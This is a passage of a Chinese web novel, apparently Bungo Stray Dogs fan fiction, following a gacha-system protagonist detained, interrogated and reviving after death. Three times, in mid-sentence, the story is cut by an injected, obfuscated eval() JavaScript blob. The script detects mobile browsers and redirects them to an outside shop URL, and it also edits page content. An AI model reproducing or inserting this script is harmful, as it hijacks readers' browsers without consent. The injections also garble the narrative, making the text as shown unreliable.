虽然系统的字符还是看不太懂,但“是”与“下次抽取”的选项含义,他已经能够基本猜到。 本来,没能去侦探社,叶涟还有点失望,现在一下子又高兴了起来。 他掐指一算,这防伪局,是个风水宝地! 这地方,他待定了! “怎么了吗?” 太宰察觉到了什么,奇怪地看了他一眼。 叶涟心情愉悦地翘了翘嘴角。 “没什么,想到高兴的事。” 他就说嘛,人生果然不会无路可走,也不可能尽是死路一条! 太宰没多问,和侦探社的两位社员道别,便和安保人员一起,穿过走廊,将叶涟关押在了一处门牌标记为“观察室”的房间里。 说是观察室,实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095930|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则与审讯室几乎没有差别,有单向的玻璃,里面的人看不见外面,外面的则能看见里面。 叶涟被固定在审讯椅上,无法自由活动,但他如今也不怎么在乎这些。 看这厚厚的门! 这到处都有的监控! 这密闭的没有窗户的房间! 还有系统里的抽牌次数余额! 叶涟感觉到了满满的安心。 不会有怪物突然开门杀,也不会有人贴在窗户上吓他。 更不会莫名其妙地冒出一头老虎袭击他。 如果能有一碗香喷喷的卤肉饭就更好了,他想吃肉。 之前看电视剧,日本警察都会给嫌疑人提供猪排饭…… 就算没有卤肉饭,他应该也能拥有猪排饭吧? 想想看,虽然要坐大牢,但也是过上了包吃包住的生活,真是美滋滋呀! 正当叶涟美美幻想着卤肉炸肉烤肉,先不管是什么肉,总之有人在此时推开了观察室的门。 先走进来的是一个青年,其身披深咖色的披风,戴着一看就很像侦探的帽子。 而另外一位则是个留着银发,身穿和服的沉稳男子,从表情上看,像是很正经严肃且保守的类型。 如果说国木田让叶涟想起他高中的班主任,那么这位和服男子就让他想起教导主任。 叶涟的目光第一时间移向两人的手。 没有带肉来,失望。 这样的场合,多适合整点小酒小菜,互诉衷肠谈谈心啊。 【检测到图鉴人物,获得两次抽牌机会。】 【当前抽牌机会:6】 【检测到所剩的抽牌机会大等于五,是否使用“高级抽牌”?】 【输入消耗的抽牌次数/下次抽取】 幽绿的乱码浮现在眼前。 叶涟看着乱码中的数字和选项,怔了一怔。 连蒙带猜地,竟也猜到了其中的大概意思。 他想了想,保守地输入了数字五。 留了一次抽牌机会,充当复活币。 【正在抽牌……】 【抽牌结束。请从以下三张卡牌中任选一张。】 【“异能·龙彦之间(体验卡)”:获得一次使用异能“龙彦之间”的机会。使用后,引发一场迅速覆盖整座城市的雾气,概率击杀大量异能者。 若你保持在存活与异能发动状态,雾气最高可持续三天。若异能者涩泽龙彦在雾气覆盖范围内,将形成特异点。解锁任务“拟态:涩泽龙彦”】 … 【“称号·疫医”:佩戴该称号时,成为面部覆盖鸦嘴面具、身穿黑色长袍的实体,身体素质增幅百分之百。获得基础医学知识,免疫普通疾病与毒素,免疫吸血鬼异能。 每天可使用一次异能“请君勿死”,一次异能“瘟疫流行的宴会”。 但同时获得“疫医思维”。疫医思维:你有很多小巧思,你会在医学上有更多的“创意”。】 … 【称号礼包:包含“称号·饕餮”、“称号·催眠师”、“装备·堕天使的黑暗礼赞”。 “称号·饕餮”:佩戴该称号时,你吃下的每一份食物将极小幅度地加强你的身体素质。 但同时获得“暴食思维”。暴食思维:你充满无法遏止的食欲。 “称号·催眠师”:佩戴该称号时,你能够对他人施加催眠,并根据催眠程度,令他人眩晕、沉睡、听从你的指令或精神崩溃。 但同时获得“失眠思维”。失眠思维:做出选择的,真的是你,而不是某个催眠了你的存在吗?也许黑暗中,有什么存在一直在看着你…… “装备·堕天使的黑暗礼赞”:装备后,异能堕落论读取的关于你的信息将被扭曲或抹除。 若你拥有“称号·路西法”,“称号·路西法”的影响将翻倍。】 15.第15章 叶涟本来觉得,坐坐牢也没什么不好,起码安全,不用担心被怪物杀死。 但当他看见系统开始抽牌,以及想到自己要是真进了监狱,至少无期起步,玩家的升级之心便又占据了上风。 叶涟啊叶涟,你可是有金手指的男人,怎么能那么咸鱼?! 区区一点牢饭,就能让你满足吗? 子曾经曰过,牢饭里是没有肉的。 还是得想办法摆脱杀人嫌疑! 就在叶涟为自己加油打气时,福泽社长和乱步坐到了他的对面。 乱步注视着叶涟,双手随意地放在了桌子上。 “事情很明了,那我们就跳过无关紧要的流程,快捷一点吧。你为什么杀了他?” “……?” 叶涟缓缓扣出一个问号。 这不对吧。 这个侦探为什么直接认定他是凶手啊? 推理游戏里根本不是这样的! 他应该先召集所有人过来,梳理一遍案发经过,开始他的推理秀。经过一番严密到让人拍案叫绝的精彩推理,排除所有不可能的选项,然后表示“真相只有一个”,指认凶手并出示决定性证据。 这样一来,叶涟才能喊出“异议”,胡编乱造一个真相,实现惊天大逆转啊! 这侦探为什么直接确定了他是凶手?他不接受! 凝视侦探片刻,叶涟将视线移回了系统界面。 事已至此,先选牌吧。 他在三张卡牌中,选中了最后的那张。 不为什么,就因为最后那张牌字数多。 而且,是前所未有的多。 那么多字,一看就很厉害的样子。 因此,虽然勉强辨认出了“称号”这个词,知道这次大概又会有奇奇怪怪的思维…… 但叶涟无所畏惧! 多就是强,强就是好! 卡牌化作漆黑的光芒,卷入他的脑海。 称号礼包中,包含两个称号,一个装备。 叶涟看了看称号的能力。 首先是称号“饕餮”。 这是个成长类的能力,只要吃东西就能变强。 然后是称号“催眠师”。 这个能力偏进攻,虽然是精神攻击,但也是让他终于有了攻击手段。 最后是装备“堕天使的黑暗礼赞”……是一双黑色的手套。 为什么称号礼包里会有装备……? 系统抽的牌还能有赠品? 异能“堕落论”是什么,能读取什么信息? 算了,似乎没什么用。 暂时把这装备归类为时尚小垃圾。 叶涟先佩戴了“催眠师”的称号。 霎时间,他感觉到——自己再再再次充满了力量! 只不过,此前是身体充满力量,这次是灵魂充满力量! 叶涟直勾勾地看着对面的两人。 侦探的嘴巴张张合合,旁边的和服男人依然保持着严肃的表情,似乎也有说话。 然而,他已经无暇去听他们叽里咕噜在说什么。 他在想一个严肃的问题—— 要不要佩戴“饕餮”称号? 保守地说,他现在被局限在约束椅上,没有饭吃,也就没有必要佩戴。 然而,这个房间里…… 并不是没有“食物”。 有催眠的能力,他完全可以让食物自己跑过来进他嘴里。 没有迟疑太久,叶涟决定——先存个档! “我想吃糖。”一直没有说话的叶涟,忽然开口道。 乱步本在旁敲侧击一些事情。 闻言,话音一顿。 这家伙,根本没有在听他说话啊……! 如此目中无人,无视名侦探的人已经很少见了……好嚣张! “我有低血糖的症状,没有办法思考你提的问题……” 叶涟说着,就将手伸进了外套口袋。 他的身体被限制在椅子上,双手则戴着手铐。 虽然不太方便,但从口袋里拿出糖果,然后撕开包装袋,还是没有问题的。 至于对面同不同意他吃糖……他事先说一声,只是通知,不是商量。 叶涟将糖果塞进嘴里。 一种带着轻微鱼腥味的甜,在舌上爆开。 咀嚼起来,很有韧性,还有点Q弹,像在吃煮得半熟的鱿鱼。 咽下眼球糖的数秒后,叶涟倏地感觉到,脖颈处传来一阵剧烈的疼痛。 怎么回事…… 他的头向前倾,不住地呕吐,双手不由自主地去掰自己的嘴巴,挖自己的喉咙。 乱步和福泽都不太明白发生了什么。 福泽将手按在了刀柄上,乱步也紧紧盯着叶涟,慢慢站起了身。 “嗬嗬……” 叶涟的额头冒着冷汗,呕出的涎水中带着血丝。 有什么冰冷的、带着腥味的东西,正卡在他的喉咙里……! 他的手,已经抓住了那个东西…… 窒息的、忍不住想吞咽,又不住地呕吐,如此来回拉扯的感觉,以及从食道深处,逐渐拖拽出异物的感觉,让他的全身都绷紧了。 慢慢地,叶涟能够看见,自己扯出来了什么东西—— 那是一条漆黑的链子。 黑色的金属细链,一点点地磨过他的喉咙,他的舌头,他的嘴唇…… 然后是一阵尖锐的痛感。 叶涟一咬牙,一口气将链子拽了出来! 这时,他能够看见这件异物的全貌。 这是一条吊坠,吊坠的末端悬着黑色的十字架。 十字架染着血,尾部极其尖锐。 叶涟的喉咙火辣辣地疼,还有些发痒,应该是被划破了,又在血肉艺术家的称号能力下逐渐愈合。 他的脑海中,多出了一段关于十字架的理解—— 他死亡后,会自动转生读档。 而如果用十字架扎破左眼下方的小痣,他可以耗费一次抽牌机会,主动读档。 了解过后,叶涟松了口气。 他还以为,想存档还得死一次,原来是系统搁这给他整了个花活。 可能是照顾他看不懂系统语,不采用直接在系统面板读档,而是给了他一个主动读档的动作。 就算是这样,他给系统的五星好评也还是要分五次给。 搞什么,给他一个主动读档的机会,还得吓吓他? 就不能给他一段神秘咒语吗。 即使是巴啦啦能量之类,他也不在乎啊,读档在乎什么社死。 很难不怀疑这系统在故意CPU他。 “那个……” 突然,叶涟反应过来,对面似乎还有两个人正看着他。 不管是和服男子,还是犯规侦探,都以诡异的眼神盯着他,以及他手中的染血十字架吊坠。 叶涟干笑了两声,通过脑海中的相关解释,他知道就算吊坠被拿走,他也可以再吐,但过程毕竟很难受,于是赶紧将吊坠挂在了脖子上: “哈哈,被吓到了吧?万圣节快乐。” 福泽:? 乱步:…… 叶涟舔了舔嘴唇,这种玩笑说法,显然不能瞒过对面两人。 虽然现在,两人还没有做出什么举动,但对方肯定会来检查他的吊坠,且大概率会把吊坠拿走。 他不想让对方取走十字架吊坠,这可是他宝贵的读档工具! 而且不知为何,他有种恐慌。 似乎有很多人,或者“某种存在”,正在注视他。 观察室外,说不定有很多防伪局的职员正站在那里,盯着他的一举一动…… 不行,不能这样下去。 叶涟觉得,是时候提升自己的实力,变得更强大了! 侦探一看就不是能打的角色,威胁程度低。 而和服男子只带了刀,连枪都没带,很适合告诉其“时代变了”的道理。 只要他用催眠能力,催眠对方给自己解除椅子的约束。 然后用饕餮能力,吃掉这个房间里的“食物”,提升自己的身体素质。 最后冲出去,催眠外面的人,就能大吃特吃。 或者,有武装人员赶来……他也能从先前观察到的侧门,从从容容游刃有余地撤离。 如此热血沸腾的组合技,怎么想都不可能输。 输了也没事,不是还能读档嘛。 优势在他! 叶涟没有犹豫太久,在和服男子站起身,像是想走过来查看十字架吊坠时,佩戴上了“称号·饕餮”。 【达成成就“狂人日记”:同时佩戴“称号·血肉艺术家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102753|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”、“称号·饕餮”,触发肉食者思维连击——你充满了对血肉的食欲!】 【获得一次抽牌机会。】 【当前抽牌机会:2】 【是否立即抽取卡牌?】 【是/下次抽取】 叶涟没有立即抽取,实际上,他都没有关注系统选项。 肉…… 他想吃肉! 叶涟抬起头,死死地盯着对面的两人,喉咙滚动着,牙齿也开始不自觉地上下碰撞,发出尖锐的磨牙声。 他感觉到,自己的胃,在嚎叫着,驱使他吃掉视野范围内的猎物…… 本来还能稍加维持的理智,瞬间崩断,叶涟如同一位饿了五百年的狂兽,见到了香甜可口的血食,顷刻间就发动了催眠能力! 过来—— 成为他的食粮、他的力量、他的血肉的一部分! 福泽和乱步的眼神顿时变得直勾勾的,眼睛如同所有光亮都被吸入了无底深渊一般,毫无光芒。他们迈着僵硬的步伐,朝叶涟这边走来。 然而数秒后,两人的脸上就浮现出挣扎的神色。 与此同时,观察室的门也被太宰和国木田打开。 “社长!乱步先生!” 两人冲进来,太宰一个箭步按住了叶涟的肩膀,而国木田则拉住了社长和乱步。 社长和乱步骤然清醒,再看向叶涟的眼神,已是极其严肃! 叶涟却依然没有摆脱那汹涌的食欲。 甚至,因为房间中的“食物”数量增加,那痉挛的胃抽搐得更加强烈。 他扭过头,一口朝太宰的手咬去! 但太宰对他早有防备,早就紧紧盯着他的一举一动,见其有异状,当即以闪电般的速度抽回手,避开了他的咬击。 “明明刚才还挺正常的……”太宰啧了一声。 “……正常?” 正常在哪? 国木田看着叶涟,想到此前在对方家中,十六夜涟所说的话、以及其看自己的眼神,心中觉得这家伙只是本性暴露。 并没有正常的时候吧……! 叶涟未能吃到肉食,开始剧烈地挣扎起来,他摇晃着身体,尝试脱离约束椅的束缚,同时乱挥着双手,见谁抓谁。 催眠的能力,也是疯狂地启用。 不过,此时侦探社四人心中都早有防备,人数又众多,失去理智的叶涟无法催眠操控他们,最多令他们头晕目眩。 “简直是末日片里,丧尸病毒泄露的场景啊。” 乱步退开半步,躲开叶涟挥过来的手,揉了揉自己发晕的额头,看向叶涟的眼神已是有了翻天覆地的变化。 还是精神控制类的丧尸…… 不管是其自身的危险性,还是对人类的危害性,都奇高无比。 社长一言不发,眼神冷峻,唰地一下,拔出了他的长刀! 刀在观察室的灯光下,闪着雪亮的寒芒。 叶涟对致命的危险却是丝毫未觉,他的眼珠泛着红色,喉咙里发出不明含义的声音,手腕也在强烈挣扎中被镣铐勒出了红痕。 即便如此,他依然摇晃着座椅,尝试挣脱,同时,盯着几人露在衣服外的皮肤,眼中迸出强烈的渴望之色。 倏地,他猛然暴起,竟是站起了身,朝身旁的太宰径直咬了过去! “暴露真实面孔的卑劣伪人……” 社长眼神一凝,举刀向前! “等等,社长——” 乱步出声阻拦,却没来得及,眼睁睁看着那一刀划过叶涟的脖颈。 顿时,血流如注! 叶涟机械般张了张嘴,哇地吐出一大口鲜血,视野慢慢地变得模糊。 好痛…… 又要……死了吗? 【检测到与两位图鉴人物关系由“陌生”变更为“仇敌”,获得两次抽牌机会。】 【检测到与一位图鉴人物关系由“仇敌”变更为“死敌”,获得一次抽牌机会。】 …… 【检测到图鉴人物,获得一次抽牌机会。】 【当前抽牌机会:6】 【检测到所剩的抽牌机会大等于五,是否使用“高级抽牌”?】 【输入消耗的抽牌次数/下次抽取】 …… 昏暗的房间。 叶涟,骤然睁开了双眼。 16.第16章 又转生了吗…… 叶涟摸了摸脖颈。 对的对的,没有一点儿伤口,也没有被割开的痛感,只有一股死后的幻痛,应该是又转生了。 等等,不对。 如果是再度转生,他应该消耗抽牌次数,然后回到存档点啊。 而且——他正躺在一个狭小的单人床上,衣服上残留着触目惊心的大片血迹,他的一只手,正被墙上的锁链铐着。 现在这个地方,明显不是之前存档的观察室。 但是,如果不是转生,他脖子上的伤口呢? 在血肉艺术家的能力下,自发痊愈了? 和服男子的绝杀一刀,咔地一下给他脖子开个窟窿,他自己都能看见自己的血像喷泉一样激射而出…… 这样可怖的伤,竟然不是致命伤? 难道说…… 他在自己不知道的时候,完成了神奇的变异? 变成了无懈可击的超人?! 一位帅气但不幸的男子死了三次,这是他的基因发生的变化? 生活将他反复捶打,不仅没有杀死他,反而让他变得更加可口? 想到可口,都有点饿了。 叶涟四处张望了一下。 这个房间很狭小,天花板的角落里有一个监控探头。 黑漆漆的监控让叶涟有种不适感。 那种正在被注视的感觉,在监控下越发强烈。 然而,他现在拿监控探头毫无办法,只能尽可能不去往那个方向看。 叶涟用没被锁住的手往监控方向比了个大拇指,旋即将视线移到了其他地方。 房间门是个一看就很难击穿的金属门,门上有个栅栏小窗口,外面的人能从窗口查看屋内的情况。 也能打开窗口送饭进来。 他坐起来,正想到门前去看看,一起身,手腕却被锁链紧紧拽住。 从锁链的长度来说,活动范围只有床的周围,连门都够不着。 叶涟瘪了瘪嘴。 干嘛这样对他,他又不是什么危险的人! 不行,还是好饿。 叶涟低下头,将自己的衣袖用力推到手肘上方,露出白晃晃的手臂。 他犹疑地盯着自己的小臂,咽了咽口水。 人不能,也不应该…… 但是假如,他是说假如,他真的不是人呢…… 不管了,他不做人啦! 就在叶涟要一口咬下去时,外边传来了轻微的脚步声。 随着门锁咔哒一声轻响,门被推开,两个医生先后走了进来。 确切地说,是一个医生,和一个疑似医生的女人…… 叶涟抬起头,目光从两人身上的白大褂上扫过。 疑惑中带着震惊地,看向了女人手中的……电锯?! 不是,这是干什么来了。 这是治疗人类需要用到的东西吗?! 他当雨夜屠夫的时候,也没对猎物使用这么恐怖的武器。 他一个屠夫,用的也只是区区杀猪刀而已! “都被抹过脖子了,还这么不清醒?” 与谢野抬起没启动的电锯,拍开叶涟的手臂,将锯面冷冷地贴在叶涟的嘴唇上,“真是疯子。” “你说得对,我不仅疯了,我还有狂犬病。我一张嘴我就乱咬人,诶,我见人就咬,不剑的人也咬。” 据说大家都喜欢什么病娇、病弱、病美人。 叶涟觉得自己也不逊色。 真是的,凭什么狂犬病不能是病弱系男神。 他的喉咙动了动,“又死过一次”确实让他稍微能够克制住了一点,不然他现在估计又要扑过去。 如果是个正常人在这里,可能会摘下饕餮的称号。 但叶涟毕竟有love思维在身。 既然有食物在场,就不可能把称号卸下去——万一吃到了呢? “和你讲话说不通。”与谢野皱了皱眉。 本来他们以为,叶涟那种疯狂的咬人现象,是某种异能力致使的症候。 然而,不仅太宰的人间失格没能解除叶涟的症状,连让叶涟处于生死临界点,再用请君勿死治疗他,也没能改变他的情况。 据太宰和国木田所说,在来防伪局前,十六夜涟还不是这样的…… 防伪局触发了什么?还是来的路上发生了什么? “与谢野小姐,让我和他聊聊吧。” 旁边的医生忽然开口了。 “我是不觉得,有什么再评估的必要。”与谢野虽然这样说,却是收回了电锯。 ……评估? 叶涟的眼珠慢吞吞地转动,移到了这位拿着本子和笔的医生身上。 与谢野的衣服上没有名牌,但这位医生身上有。 离得近了,就能看见—— “危险生物研究科,小川和真。” 合着这位也不是医生,是研究员啊。 这是把他当成什么奇怪生物了…… 难道他人类的特征就那么不明显? 完全遗忘了刚才还想着“不做人”的叶涟,恹恹地看着这两人。 “他们都觉得你是疯子,但我不这么觉得。” 小川和真看上去很斯文,他扬起一个温和的笑容,推了推眼镜,整得还挺像那么一回事。 “十六夜涟。你并不疯,正相反,你聪明清醒得可怕,你只是在伪装自己,以掩盖青木怜央死亡事件背后的隐情。” 叶涟:? 真的假的。 他这么厉害,他自己怎么不知道。 “你装疯卖傻,实际上是在保护那个侦探。因为真相的重量,并不是他们所能承受……” “呃,没有啊。” 叶涟忍不住打断道,“我就是脑袋被门夹了。” “……?” 就怕空气突然安静。 “或者疯了,精神有病,怎样都好——” 叶涟想了想,“长官,我有病,我的行为不受控,能不能给我减刑啊?” “这个……不是我们能决定的。” 小川和真有些为难地笑了笑。 他不愧是研究员,只是顿了一下,很快就调整了过来。 “那么,十六夜君,能麻烦你描述一下,在观察室时,你感觉到了什么吗?” “感觉很饿。”叶涟莫名其妙地看着他。 如果不是很饿,他咬人干嘛。 莫非这研究员的脑袋也被门夹了? “要不你让我咬一口?” 叶涟真诚道,“我试试不饿了是什么感觉。” 小川和真:“……” 与谢野站在一旁,拿着电锯的手垂着,另一只手环在身前,看戏似地看着他们。 “据我所知,人类并不在你以前的食谱上。”小川跳过了让叶涟咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108644|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口的话题。 “以前是以前,现在是现在。” 叶涟耸了耸肩,“既然你不让我吃你,那你能不能给我来一份卤肉饭?要加肉,加很多肉,让我吃饱了,我什么都招。” 前提是能吃饱。 “我就说吧,这时候还想着吃,这家伙已经彻底没救了。”与谢野淡淡地说。 小川沉默了一会儿,似是无奈般叹了口气: “我现在叫人去给你准备晚餐。等你吃饱了,我还会过来的。” 说罢,就朝与谢野递了一个眼神,和与谢野一起离开了房间。 “一路慢走啊——”叶涟懒懒地说。 他觉得这两人会过来,本身就很奇怪。 如果确认了他是杀人犯,没必要关心他咬人时是何感受。 直接让他接受审判不就好了。 而如果没确认他是杀人犯,对方就应该关心青木怜央的死亡疑团,而不是关心他的想法。 对方觉得他诡异,他也觉得对方很诡异。 说是“评估”,但小川一直在将他往“正常”的方向引导,就像想保下他似的。 也就是这时,叶涟看见,在门外,与谢野即将关上门的时候…… 小川和真在与谢野的身后,监控的死角处,朝他轻轻比了个耶。 ……? 什么意思? 咔哒一声,门再次被锁上。 叶涟静静地注视着门的方向。 算了…… 还是那句话,事已至此,先抽牌吧。 也许防伪局真的是个风水宝地,抽牌机会又变成了六次。 叶涟依然选择保留一次当复活币,剩余五次合成高级抽牌,确认抽取。 【正在抽牌……】 【抽牌结束。请从以下三张卡牌中任选一张。】 【“异能·白鲸(体验卡)”:获得一次使用异能“白鲸”的机会。使用后,召唤的白鲸为异能生命体形态(非改装后的空中要塞),可隐形。解锁任务“拟态:赫尔曼·麦尔维尔”】 【“称号·人鱼歌唱家”:佩戴该称号时,获得世界顶级歌唱技巧。无论你唱什么,你的歌声都将令人们动容。你可以用歌声疗愈或污染人类(包括你自身)的精神。录制下来的歌声依然有效,效果削减为原效果的百分之二十。 但同时获得“人鱼思维”。人鱼思维:你认为自己非常缺水。】 【称号礼包:包含“称号·黄金城继承人”、“称号·坏疽”、“装备·海洋之心”。 “称号·黄金城继承人”:佩戴该称号时,你能够随心所欲地操纵黄金的形态,并将人类或伪人的尸体变成黄金。 但同时获得“贪婪思维”。贪婪思维:风浪越大,鱼越贵…… “称号·坏疽”:佩戴该称号时,当你与他人有皮肤上的接触,可给他人叠加一层坏疽印记。若将印记引爆,印记携带者身上的随机部位将迅速出现组织坏死症状。最高五层印记,可致死。印记叠加一次的冷却时间为五分钟。 但同时获得“瘟疫思维”。瘟疫思维:这是什么?传染一下。这又是什么?传染一下。 “装备·海洋之心”:装备后,获得水中呼吸的能力。 若你拥有称号“人鱼歌唱家”,越靠近海洋,你的歌声越强大。同时,“人鱼思维”将变化为“海洋意志”。海洋意志:你的精神如海洋一般浩瀚而深邃。】 17.第17章 【达成成就“不要相信人鱼的话”:同时佩戴“称号·催眠师”、“称号·人鱼歌唱家”,触发安眠曲组合连击——你歌唱的安眠曲即使只是录音,也能保持百分百的催眠效果。】 【获得一次抽牌机会。】 【当前抽牌机会:2】 【是否立即抽取卡牌?】 【是/下次抽取】 …… 十数分钟后。 两个全副武装的安保人员打开了囚室的门。 他们眼带戒备,手持枪支,盯着坐在床边的青年。 根据长官的提醒,这位青年极其诡异。 不仅疑似有精神控制类的能力,还有严重的伤人倾向。 即使有监控时时留意,门外也有其他的安保人员,他们依然不敢大意。 在两人眼前,青年表现得还算安分。 至少没有长官话语中见人就咬的“狂犬病”症状。 其似乎……在唱什么古怪的歌? 离得太远,没法听清他唱的什么…… 但看那摇头晃脑的样子…… 怎么看,都像是疯子在呓语。 两个安保人员面面相觑,皆能看见对方眼中的疑惑之色。 如果不是长官的指令,真不想过去啊…… 他们小心翼翼地靠近。 歌声,便越来越清晰。 “好运来,祝你好运来,好运带来了喜和爱~” 安保人员:……? 明明歌词是半点儿都听不懂。 但为什么……会有一种喜气洋洋的感觉?! 不是,这旋律出现在昏暗的牢房里,真的合适吗? 你小子坐牢坐得这么开心啊? 不过话又说回来…… 还怪好听的。 一时间,两个安保人员愣在了原地,心中竟涌现出一股先不要轻举妄动,让青年把歌唱完的冲动。 “?” 叶涟抬起头,疑惑地看着两个安保大哥。 这是在干什么。 罚站? 他就是唱唱歌,让自己头脑清醒一点,压制一下饿意和恶意。 没针对任何人。 不明白这两人来干什么的叶涟,迅速地换了首歌。 从好运来,改为植物大战僵尸第一关的BGM。 没有歌词,仅仅是闭着嘴巴,哼出旋律。 无他,他的好运要自己留着。 虽然人鱼歌唱家的歌声大概率不能影响运气,但万一呢? 把好运给这些把他关起来的家伙? 那不是资敌嘛! 才不给! 他可不是什么大度的人,以德报怨的事他做不到。 客观上讲,他被关起来是因为有杀人嫌疑、且袭击了人类,防伪局关押他是完全合理的。 但退一万步来说,那些不给他吃的人,就一点错都没有吗? 叶涟:记仇.jpg 两个安保人员沉默着走近了他。 众所周知,和疑似有精神控制能力的敌人接触,不要与其说话。 像叶涟这种唱歌的,应该将其嘴巴封住,或者堵住自己的耳朵,不要听他的歌声。 但是,两人出奇的,都没有向上级汇报关于歌声的事,也没有堵住耳朵。 反而诡异地希望叶涟能继续唱下去。 因此,虽然他们解开了将叶涟困在墙上的锁,为其换了个手铐,用枪指着他,让他站起来离开囚室。 但是叶涟嘴里的植物大战僵尸BGM,依然没有停下。 不仅没有停下,还由于两位安保人员想多听一会儿,放慢了脚步。 以至于三人在走廊里,慢吞吞地行进,和三个丧尸游行似的。 只是想让自己能够理智一点的叶涟:? 看着三人行动缓慢地进来,动作慢到仿佛连过马路都需要扶的小川和真:? “坐。” 小川示意叶涟坐到自己对面。 这个房间外挂的牌子是心理咨询室。 不像之前的观察室那般毫无隐私且自带约束椅,也不像囚室那样狭小昏暗。 叶涟哼着歌,在小川对面的办公椅上坐下。 “你们两个可以走了。”小川诧异地看着两位安保。 杵在这干什么呢。 一左一右两门神,等有人来了喊欢迎光临吗。 “此人危险,我留下来保护您。”一个安保说。 “我也一样。”另一个安保说。 其实是想继续听歌。 可惜了,这青年是个危险的罪犯。 他们暗中想着,如果叶涟是个大明星,他们肯定会成为头号粉丝。 会不会是侦探搞错了? 只是随口哼哼,都能哼那么好听的人……能是什么坏人? 有句话叫三观跟着五官走,两位安保现在就是三观跟着歌声走。 “……?” 小川盯着他们看了一会儿。 此时,他也听见了叶涟的歌声。 但小川并没有听到叶涟之前唱的好运来。 听见植物大战僵尸的BGM,除去觉得好听以外,还感知到了一种微妙的惊悚感。 这也让他迅速意识到歌声似乎有问题,拿起桌上盒子里的隔音耳塞,随手就塞住了一只耳朵。 只留了右耳听人说话,并在手中握着另一只耳塞,随时准备塞住。 “你们的任务已经完成了。” 小川的语气不知不觉变得很严肃。 之前,十六夜涟并没有展现出歌声上的异常。 是一直在隐藏实力? 还是说,才过去不久,他就又变异,或者进化了? ……这家伙属宝可梦的啊? “那好吧,我们就在外面,您若是有危险,可以随时叫我们。” 叶涟毕竟没有针对性地唱歌或者催眠。 两位安保很快地回过神,纵然还想继续听歌,也知道不能碍事,只能恋恋不舍地离开。 办公室的门被轻轻关上。 小川看着合上的门,视线慢慢移转。 “你要的卤肉饭。” 他将自己眼前的饭盒一推,推到了叶涟眼前。 叶涟看了小川一眼,将饭盒打开。 香气扑鼻而来,令人食指大动。 不仅大半盒都是卤肉,甚至还加了一块炸猪排和一枚切开的溏心蛋! 虽然肉小了点,炸猪排品相看着也一般,但那毕竟是肉啊! 这是他区区一个囚徒可以得到的吗! “抱歉,长官,刚才我不该拆你台的——” 叶涟直勾勾地盯着肉,迅速地拆开一次性筷子。 左手勺子右手筷子,仿佛怕别人和他抢似的,狼吞虎咽。 “长官,你说什么就是什么……你说我是杀人犯,我就是杀人犯,你说我是狂犬病,我就是狂犬病……” 有荤菜在,他都懒得看米饭,每一筷子都是猪排,每一勺都是肉。 甚至都没怎么咀嚼,直接就咽了下去。 手铐丝毫没有影响他的干饭速度。 口味偏甜了,叶涟也不介意。 他是酸甜咸辣都能吃,不挑食。 “我没说你是狂犬病……” 小川目瞪口呆地看着叶涟在不到半分钟的时间,风卷残云般吃光了所有的肉。 吃完肉后,速度竟丝毫未减,津津有味地开始吃溏心蛋和米饭。 “我认罪,长官,我认罪!”叶涟含糊不清道。 “你慢点吃,我也没说你有罪……” 小川想着,自己不是一直在帮叶涟脱罪吗。 ……这孩子是饿了多久? 不仅脑袋不清晰,还开始胡言乱语了。 “我明白了……老大,你说,杀谁?” 叶涟啪地一下站起身! 他的双手撑着桌子,面目狰狞地咽下嘴里带着酱汁的米饭——吃太快了,有点噎着。 这一站,把小川吓一大跳,身体不由自主地就向后仰去。 ……便利店临时买来加热的卤肉料包和合成猪排,有那么好吃? “那个……” 叶涟张着嘴,深深地呼气吸气。 吃饭还是得细嚼慢咽,不然会积食。 “我能不能喝点水?”他指向角落的饮水机。 “……我去帮你倒一杯。”小川站起身。 “谢谢您,我自己来就行。” 叶涟一个箭步,走到饮水机前。 然而,他并没有拿起旁边的一次性纸杯。 而是——直接抱起了水桶! 小川和真:?! 积食的情况下,猛灌水很危险,可能引发呕吐或者剧烈腹痛。 但脑子里都是水的叶涟可管不了那么多,嘴对着水桶的开口,仰头就开始吨吨吨。 “??!” 小川和真的眼神,已经逐渐带上了些许惊恐。 那桶水,规格至少有十五升,叶涟拿起水时,水桶里的水目测还剩三分之一,也就是还剩五升左右。 大约是九到十瓶矿泉水。 虽然水桶的口子很大,不少水洒了出去,顺着叶涟的下巴蜿蜒到了他的锁骨,浸湿了他的衣服,亦或者直接漏到了地上…… 但叶涟喝下去的水,至少也有三升。 “十六夜君,你……” 小川委婉道,“你以前当过职业的大胃王比赛选手?” “好主意啊,小川大佬!你是天才来的吧?有没有什么奖金多的比赛,给我推荐一下?” 叶涟两眼放光地看着小川,将最后剩下的一点水从自己的头发浇了下去。 